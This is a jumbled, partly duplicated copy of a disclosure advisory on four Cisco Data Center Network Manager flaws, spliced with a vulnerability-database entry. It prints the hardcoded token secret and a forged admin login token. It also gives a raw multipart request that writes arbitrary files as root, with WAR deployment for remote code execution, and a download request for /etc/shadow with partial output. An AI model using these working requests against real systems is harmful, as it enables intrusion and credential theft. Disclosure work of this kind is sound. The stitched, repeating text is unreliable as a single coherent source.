public static FMUserBase verifySSoToken(String ssoToken) {
(...)
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
(...)
}
public static boolean confirmSSOToken(String ssoToken) {
String userName = null;
int sessionId = false;
long sysTime = 0L;
String digest = null;
int count = false;
boolean ret = false;
try {
String[] detail = getSSoTokenDetails(ssoToken);
userName = detail[3];
int sessionId = Integer.parseInt(detail[0]);
sysTime = (new Long(detail[1])).longValue();
if(System.currentTimeMillis() - sysTime > 600000L) {
return ret;
}
digest = detail[2];
if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
ret = true;
userNameTLC.set(userName);
}
} catch (Exception var9) {
_Logger.info("confirmSSoToken: ", var9);
}
return ret;
}
Now we can further understand the token. It seems it is composed of:
sessionId + separator + sysTime + separator + digest + separator + username
And what is the digest? Let's look into the getMessageDigest function:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
String input = userName + sessionid + sysTime + SECRETKEY;
MessageDigest md = MessageDigest.getInstance(algorithm);
md.update(input.getBytes());
return new String(Base64.encodeBase64((byte[])md.digest()));
}
It is nothing more than the MD5 of:
userName + sessionid + sysTime + SECRETKEY
... and SECRETKEY is a fixed key in the code:
private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF";
... while the separator is a ".":
private static String getTokenSeparator()
{
return System.getProperty("security.tokenSeparator", ".");
}
In summary, this is what happens:
The ReportServlet will happily authenticate any request, as long as it receives a token in the following format:
sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token:
GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user.
Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.
Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version.
In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
(...)
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
(...)
}
The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded".
This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.
I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.
On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4].
The code for this servlet is listed below:
com.cisco.dcbu.web.client.reports.FileUploadServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
this.handleUpload(request, response);
}
The code shown above is simple, and the request is passed onto handleUpload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = null;
ArrayList<String> allowedFormats = new ArrayList<String>();
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
File disk = null;
FileItem item = null;
DiskFileItemFactory factory = new DiskFileItemFactory();
String statusMessage = "";
String fname = "";
String uploadDir = "";
ListIterator iterator = null;
List items = null;
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
TransformerHandler hd = null;
try {
out = response.getWriter();
StreamResult streamResult = new StreamResult(out);
SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
items = upload.parseRequest(request);
iterator = items.listIterator();
hd = tf.newTransformerHandler();
Transformer serializer = hd.getTransformer();
serializer.setOutputProperty("encoding", "UTF-8");
serializer.setOutputProperty("doctype-system", "response.dtd");
serializer.setOutputProperty("indent", "yes");
serializer.setOutputProperty("method", "xml");
hd.setResult(streamResult);
hd.startDocument();
AttributesImpl atts = new AttributesImpl();
hd.startElement("", "", "response", atts);
while (iterator.hasNext()) {
atts.clear();
item = (FileItem)iterator.next();
if (item.isFormField()) {
if (item.getFieldName().equalsIgnoreCase("fname")) {
fname = item.getString();
}
if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
}
atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
hd.startElement("", "", "field", atts);
hd.characters(item.getString().toCharArray(), 0, item.getString().length());
hd.endElement("", "", "field");
atts.clear();
continue;
}
ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
ImageReader imageReader = null;
if (imageReaders.hasNext()) {
imageReader = imageReaders.next();
}
try {
String imageFormat = imageReader.getFormatName();
String newFileName = fname + "." + imageFormat;
if (allowedFormats.contains(imageFormat.toLowerCase())) {
FileFilter fileFilter = new FileFilter();
fileFilter.setImageTypes(allowedFormats);
File[] fileList = new File(uploadDir).listFiles(fileFilter);
for (int i = 0; i < fileList.length; ++i) {
new File(fileList[i].getAbsolutePath()).delete();
}
disk = new File(uploadDir + File.separator + fname);
item.write(disk);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
}
imageReader.dispose();
imageInputStream.close();
atts.addAttribute("", "", "id", "CDATA", newFileName);
}
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
}
hd.startElement("", "", "file", atts);
hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
hd.endElement("", "", "file");
}
hd.endElement("", "", "response");
hd.endDocument();
out.close();
}
catch (Exception e) {
out.println(e.getMessage());
}
}
handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname".
However, there is a catch... the file has to be a valid image with one of the extensions listed here:
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:
try {
String imageFormat = imageReader.getFormatName();
... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
... meaning that the file contents, upload dir and its name are sent into processUploadedFile.
Let's look into that now:
private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
try {
int offset;
int contentLength = (int)item.getSize();
InputStream raw = item.getInputStream();
BufferedInputStream in = new BufferedInputStream(raw);
byte[] data = new byte[contentLength];
int bytesRead = 0;
for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
}
in.close();
if (offset != contentLength) {
throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
}
FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
out.write(data);
out.flush();
out.close();
}
catch (Exception ex) {
throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
}
}
Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated.
In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.
If we send the following request:
POST /fm/fileUpload HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Content-Length: 429
Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947
Content-Disposition: form-data; name="fname"
owned
-----------------------------9313517619947
Content-Disposition: form-data; name="uploadDir"
/tmp/
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever"
Content-Type: application/octet-stream
<any text or binary content here>
-----------------------------9313517619947--
The server will respond with:
HTTP/1.1 200 OK
X-FRAME-OPTIONS: SAMEORIGIN
Content-Type: text/xml;charset=utf-8
Date: Mon, 03 Sep 2018 00:57:11 GMT
Connection: close
Server: server
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE response SYSTEM "response.dtd">
<response>
<field id="fname">owned</field>
<field id="uploadDir">/tmp/</field>
<file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file>
</response>
And our file has been written as root on the server:
[root@dcnm_vm ~]# ls -l /tmp/
(...)
-rw-r--r-- 1 root root 16 Sep 2 17:57 owned
(...)
Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution.
A Metasploit module that exploits this vulnerability has been released with this advisory. An authenticated user can abuse this servlet to download arbitrary files as root [5].
The code below shows the servlet request processing code:
com.cisco.dcbu.web.client.util.DownloadServlet
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
String showFile = (String)request.getAttribute("showFile");
if (showFile == null) {
showFile = request.getParameter("showFile");
}
File f = new File(showFile);
if (showFile.endsWith(".cert")) {
response.setContentType("application/octet-stream");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;");
} else if (showFile.endsWith(".msi")) {
response.setContentType("application/x-msi");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
} else if (showFile.endsWith(".xls")) {
response.setContentType("application/vnd.ms-excel");
response.setHeader("Pragma", "cache");
response.setHeader("Cache-Control", "cache");
response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";");
}
ServletOutputStream os = response.getOutputStream();
FileInputStream is = new FileInputStream(f);
byte[] buffer = new byte[4096];
int read = 0;
try {
while ((read = is.read(buffer)) > 0) {
os.write(buffer, 0, read);
}
os.flush();
}
catch (Exception e) {
LogService.log(LogService._WARNING, e.getMessage());
}
finally {
is.close();
}
}
}
As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action:
Request:
GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Response:
HTTP/1.1 200 OK
root:$1$(REDACTED).:17763:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
(...)
An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code.
A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6].
To access it, simply request:
GET /fm/log/fmlogs.zip
Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.
>> Fix:
For #1, upgrade to DCNM 11.0(1) and above [3].
For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5].
For #4, it is not clear from Cisco's advisory on which version it was fixed [6].
>> References:
[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl
>> Disclaimer:
Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly.
Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.
It is the vendor's responsibility to ensure their products' security before, during and after release to market.
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).
For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business
| VAR-201906-0568 | CVE-2019-1621 | Cisco Data Center Network Manager Vulnerabilities related to authorization, permissions, and access control |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to gain access to sensitive files on an affected device. The vulnerability is due to incorrect permissions settings on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download arbitrary files from the underlying filesystem of the affected device. Information obtained may aid in further attacks.
This issue being tracked by Cisco Bug ID CSCvo64651.
DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.
The table below lists the affected versions for each vulnerability:
Vulnerability Vulnerable? CVE
<= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1)
Authentication bypass Yes No No No 2019-1619
File upload Yes, auth Yes, auth Yes, unauth No 2019-1620
File download Yes, auth Yes, auth Yes, unauth No 2019-1621
Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622
The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution.
In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure.
Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!
All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. The Apache Tomcat server is running as root, meaning that the Java shell will run as root.
Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions.
DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].
The snippet of code below shows what the servlet does:
com.cisco.dcbu.web.client.performance.ReportServlet
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)request.getSession().getAttribute("credentials");
if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) {
request.setAttribute("popUpSessionTO", "true");
}
this.doInteractiveChart(request, response);
}
The request is passed on to the verifyToken function, listed below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
String token = httpServletRequest.getParameter("token");
if(token == null) {
return false;
} else {
try {
FMServerRif serverRif = SQLLoader.getServerManager();
IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString()));
token = URLDecoder.decode(token, "UTF-8");
token = token.replace(' ', '+');
FMUserBase fmUserBase = isc.verifySSoToken(token);
if(fmUserBase == null) {
return false;
} else {
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
}
}
As it can be seen in the line:
FMUserBase fmUserBase = isc.verifySSoToken(token);
the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.
Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:
public FMUserBase verifySSoToken(String ssoToken) {
return SecurityManager.verifySSoToken(ssoToken);
}
Digging further into SecurityManager.verifySSoToken:
com.cisco.dcbu.sm.server.security.SecurityManager
public static FMUserBase verifySSoToken(String ssoToken) {
String userName = null;
FMUserBase fmUserBase = null;
FMUser fmUser = null;
try {
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
if(fmUserBase == null) {
fmUserBase = DCNMUserImpl.getFMUserBase(userName);
}
if(fmUserBase == null) {
fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));
}
}
} catch (Exception var5) {
_Logger.info("verifySSoToken: ", var5);
}
return fmUserBase;
}
As it can be seen in the code above, the username is obtained from the token here:
userName = getSSoTokenUserName(ssoToken);
Digging yet another layer we find the following:
public static String getSSoTokenUserName(String ssoToken) {
return getSSoTokenDetails(ssoToken)[3];
}
private static String[] getSSoTokenDetails(String ssoToken) {
String[] ret = new String[4];
String separator = getTokenSeparator();
StringTokenizer st = new StringTokenizer(ssoToken, separator);
if(st.hasMoreTokens()) {
ret[0] = st.nextToken();
ret[1] = st.nextToken();
ret[2] = st.nextToken();
for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {
;
}
}
return ret;
}
Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username.
Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:
public static FMUserBase verifySSoToken(String ssoToken) {
(...)
userName = getSSoTokenUserName(ssoToken);
if(confirmSSOToken(ssoToken)) {
fmUser = UserManager.getInstance().findUser(userName);
if(fmUser != null) {
fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());
}
(...)
}
public static boolean confirmSSOToken(String ssoToken) {
String userName = null;
int sessionId = false;
long sysTime = 0L;
String digest = null;
int count = false;
boolean ret = false;
try {
String[] detail = getSSoTokenDetails(ssoToken);
userName = detail[3];
int sessionId = Integer.parseInt(detail[0]);
sysTime = (new Long(detail[1])).longValue();
if(System.currentTimeMillis() - sysTime > 600000L) {
return ret;
}
digest = detail[2];
if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) {
ret = true;
userNameTLC.set(userName);
}
} catch (Exception var9) {
_Logger.info("confirmSSoToken: ", var9);
}
return ret;
}
Now we can further understand the token. It seems it is composed of:
sessionId + separator + sysTime + separator + digest + separator + username
And what is the digest? Let's look into the getMessageDigest function:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {
String input = userName + sessionid + sysTime + SECRETKEY;
MessageDigest md = MessageDigest.getInstance(algorithm);
md.update(input.getBytes());
return new String(Base64.encodeBase64((byte[])md.digest()));
}
It is nothing more than the MD5 of:
userName + sessionid + sysTime + SECRETKEY
... and SECRETKEY is a fixed key in the code:
private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF";
... while the separator is a ".":
private static String getTokenSeparator()
{
return System.getProperty("security.tokenSeparator", ".");
}
In summary, this is what happens:
The ReportServlet will happily authenticate any request, as long as it receives a token in the following format:
sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token:
GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user.
Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.
Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version.
In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:
private boolean verifyToken(HttpServletRequest httpServletRequest) {
(...)
Credentials newCred = new Credentials();
int idx = fmUserBase.getUsername().indexOf(64);
newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));
newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here
newCred.setRole(fmUserBase.getRole());
newCred.setAuthenticated(true);
httpServletRequest.getSession().setAttribute("credentials", newCred);
return true;
}
} catch (Exception var8) {
var8.printStackTrace();
return false;
}
(...)
}
The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded".
This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.
I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.
On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4].
The code for this servlet is listed below:
com.cisco.dcbu.web.client.reports.FileUploadServlet
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials"));
if (cred == null || !cred.isAuthenticated()) {
throw new ServletException("User not logged in or Session timed out.");
}
this.handleUpload(request, response);
}
The code shown above is simple, and the request is passed onto handleUpload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType(CONTENT_TYPE);
PrintWriter out = null;
ArrayList<String> allowedFormats = new ArrayList<String>();
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
File disk = null;
FileItem item = null;
DiskFileItemFactory factory = new DiskFileItemFactory();
String statusMessage = "";
String fname = "";
String uploadDir = "";
ListIterator iterator = null;
List items = null;
ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);
TransformerHandler hd = null;
try {
out = response.getWriter();
StreamResult streamResult = new StreamResult(out);
SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();
items = upload.parseRequest(request);
iterator = items.listIterator();
hd = tf.newTransformerHandler();
Transformer serializer = hd.getTransformer();
serializer.setOutputProperty("encoding", "UTF-8");
serializer.setOutputProperty("doctype-system", "response.dtd");
serializer.setOutputProperty("indent", "yes");
serializer.setOutputProperty("method", "xml");
hd.setResult(streamResult);
hd.startDocument();
AttributesImpl atts = new AttributesImpl();
hd.startElement("", "", "response", atts);
while (iterator.hasNext()) {
atts.clear();
item = (FileItem)iterator.next();
if (item.isFormField()) {
if (item.getFieldName().equalsIgnoreCase("fname")) {
fname = item.getString();
}
if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {
uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf";
}
atts.addAttribute("", "", "id", "CDATA", item.getFieldName());
hd.startElement("", "", "field", atts);
hd.characters(item.getString().toCharArray(), 0, item.getString().length());
hd.endElement("", "", "field");
atts.clear();
continue;
}
ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());
Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);
ImageReader imageReader = null;
if (imageReaders.hasNext()) {
imageReader = imageReaders.next();
}
try {
String imageFormat = imageReader.getFormatName();
String newFileName = fname + "." + imageFormat;
if (allowedFormats.contains(imageFormat.toLowerCase())) {
FileFilter fileFilter = new FileFilter();
fileFilter.setImageTypes(allowedFormats);
File[] fileList = new File(uploadDir).listFiles(fileFilter);
for (int i = 0; i < fileList.length; ++i) {
new File(fileList[i].getAbsolutePath()).delete();
}
disk = new File(uploadDir + File.separator + fname);
item.write(disk);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
}
imageReader.dispose();
imageInputStream.close();
atts.addAttribute("", "", "id", "CDATA", newFileName);
}
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
}
hd.startElement("", "", "file", atts);
hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());
hd.endElement("", "", "file");
}
hd.endElement("", "", "response");
hd.endDocument();
out.close();
}
catch (Exception e) {
out.println(e.getMessage());
}
}
handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname".
However, there is a catch... the file has to be a valid image with one of the extensions listed here:
allowedFormats.add("jpeg");
allowedFormats.add("png");
allowedFormats.add("gif");
allowedFormats.add("jpg");
allowedFormats.add("cert");
However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:
try {
String imageFormat = imageReader.getFormatName();
... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:
catch (Exception ex) {
this.processUploadedFile(item, uploadDir, fname);
Calendar calendar = Calendar.getInstance();
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa");
statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime());
atts.addAttribute("", "", "id", "CDATA", fname);
... meaning that the file contents, upload dir and its name are sent into processUploadedFile.
Let's look into that now:
private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {
try {
int offset;
int contentLength = (int)item.getSize();
InputStream raw = item.getInputStream();
BufferedInputStream in = new BufferedInputStream(raw);
byte[] data = new byte[contentLength];
int bytesRead = 0;
for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {
}
in.close();
if (offset != contentLength) {
throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes");
}
FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);
out.write(data);
out.flush();
out.close();
}
catch (Exception ex) {
throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage());
}
}
Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated.
In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.
If we send the following request:
POST /fm/fileUpload HTTP/1.1
Host: 10.75.1.40
Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;
Content-Length: 429
Content-Type: multipart/form-data; boundary=---------------------------9313517619947
-----------------------------9313517619947
Content-Disposition: form-data; name="fname"
owned
-----------------------------9313517619947
Content-Disposition: form-data; name="uploadDir"
/tmp/
-----------------------------9313517619947
Content-Disposition: form-data; name="filePath"; filename="whatever"
Content-Type: application/octet-stream
<any text or binary content here>
-----------------------------9313517619947--
The server will respond with:
HTTP/1.1 200 OK
X-FRAME-OPTIONS: SAMEORIGIN
